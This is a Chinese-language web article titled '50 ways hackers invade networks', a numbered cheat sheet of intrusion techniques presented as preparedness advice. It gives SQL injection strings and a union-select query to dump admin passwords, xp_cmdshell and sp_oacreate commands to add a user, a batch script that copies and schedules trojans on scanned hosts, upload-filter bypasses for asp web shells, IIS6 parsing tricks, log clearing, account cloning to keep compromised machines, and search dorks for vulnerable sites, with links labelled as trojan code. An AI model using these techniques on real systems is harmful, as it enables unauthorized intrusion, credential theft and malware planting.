黑客入侵网络的五十种方法

现在网上的攻击事件越来越多，黑客都是通过什么方法来攻击我们的呢？下面我们给大家总结了黑客入侵网络的五十种方法，让大家做到有备无患。 　　1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络 　　2.搜索栏里输入 　　关键字%’and 1=1 and ’%’=’ 　　关键字%’and 1=2 and ’%’=’ 　　比较不同处 可以作为注入的特征字符 　　3.登陆框用户名和密码输入’or’=’or’ 漏洞很老但是现在很是遍地都是 　　4.我们先到www.google.com底下搜索一下co net mib ver 1.0 　　密码帐号都是 ’or’=’or’ 　　5.挂马代码 http://s.click.alimama.com/a/qXw59YK/FXA=-10120648　　6.http://s.click.alimama.com/a/qXw59YKwI3o=-10120648小时挂qq工具 　　7.开启regedt32的sam的管理员权限 检查hkey_local_machine\sam\sam\和hkey_local_machine\sam\sam\下的管理员和guest的f键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆, 　　net localgroup administrators还是可以看出guest是管理员来 　　us&;charset=iso-8859-1&qu= 　　8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上qq大盗木马 　　9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器 　　sql注入后，如何上传木马, 　　文章地址 http://s.click.alimama.com/a/qXw58y0aEYY=-10120648　　10.qq强制聊天代码 　　http://s.click.alimama.com/a/qXMULjEPjng=-10120648;uin=对方的qq号&site=ioshenmue&menu=yes 　　使用方法：把代码中的红色的“********”星号换成你想与其聊天的qq号后复 制到浏览器的地址栏处即可。无论他是否你的好友，你无须加他为好友就能给 他发qq消息。 　　11. mybbs论坛cookie欺骗 后台备份马 　　12.软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂qq等 　　用法: 安装： instsrv.exe 服务名称 路径 　　卸载： instsrv.exe 服务名称 remove 　　13.以动网为例数据库查找dv_log,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%b7%e7%a4%ce%b0%d7%d2%c2&password2=01180017&username1=%b7%e7%a4%ce%b0%d7%d2%c2&submit=%cc%ed+%bc%d3 password2=01180017就是他的登陆密码 　　14.搜索的技巧 inurl:网址 　　15.启航工作室wms 5.0网站程序漏洞 　　在baidu 搜索powered by: sailingstudio website manage system 5.0 (sp1) 　　利用动画看　　16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测，也就是说，他会检测文件是不是有.jpg，那么我们要是把文件改成：ating.jpg.asp试试。。由于还是asp结尾，所以木马不会变~ 　　17.天意商务系统网上依然有 有漏洞 网站具体的样式　工具下载www.hack6.com 　　地址栏里，填上天意商务系统的网址就可以了，注意一定要是主页面 　　18.sql注入时工具---internet选项---高级里找到显示友好的错误信息勾去掉 　　不能注入时要第一时间想到%5c暴库 　　19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的,后门隐蔽，几乎发现不了 　　工具使用方法动画和所有文件 　　　　20.缺少xp_cmdshell时 　　尝试恢复exec sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’ 　　假如恢复不成功,可以尝试直接加用户(针对开3389的) 　　declare @o int 　　exec sp_oacreate ’wscript.shell’,@o out 　　exec sp_oamethod @o,’run’,null,’cmd.exe /c net user ating ating /add’ 再提到管理员 21.批量种植木马.bat 　　for /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$Content$nbsp;复制木马到扫描的计算机当中 　　for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间 　　扫描地址.txt里每个主机名一行 用\\开头 　　22.搜索 powered by discuz!4.0.0rc3 开放头像的可利用 工具地址www.hack6.com 　　23.dv7.1用还原数据功能 还原asa木马 　　24.凡人网络购物系统v6.0 可以%5c暴库 　　25.ipb2.0.2漏洞 构造语句 　　$qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 ipb<= 2.0.3论坛注入工具 www.hack6.com有下载 　　26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间 　　27.北京冲qb要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州 昌平,去 　　28.搜索 企业网络办公系统 添’or’’=’ 登陆 在个人邮箱 上传asp木马 　　29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路 　　30.在程序上传shell过程中，程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下： 保存为.asp,程序照样 执行. 　　31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权 可访问全站目录挂马 　　32.喜欢网页挂马的看看这篇总结文章吧 　　　33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库 　　34.iis6 for windows 2003 enterprise edition 如iis发布目录文件夹包含.asp后辍名. 　　将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下. 　　.cer 等后缀的文件夹下都可以运行任何后缀的asp木马 　　35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的ip 　　然后用#clear logg和#clear line vty *删除日志 　　36.搜索关键字:"copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多 　　37.bbsxp的漏洞总结 powered by bbsxp 5.15/licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具：bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马 　　38.学会总结入侵思路　　39.电脑坏了省去重新安装系统的方法 　　纯dos下执行， 　　xp:copy c:\windows\repair\*.* 到 c:\windows\system32\config 　　2k: copy c:\winnt\repair\*.* 到 c:\winnt\system32\config 　　40.一般人设置啊拉qq大盗的时候发信和收信都是同一个信箱，因此当我的机子中了此木马后没有立即杀掉进程，而是用内存编辑工具打开它的进程，查找smtp字样，就会找到它的信箱和密码了。只对1.5以前的管用.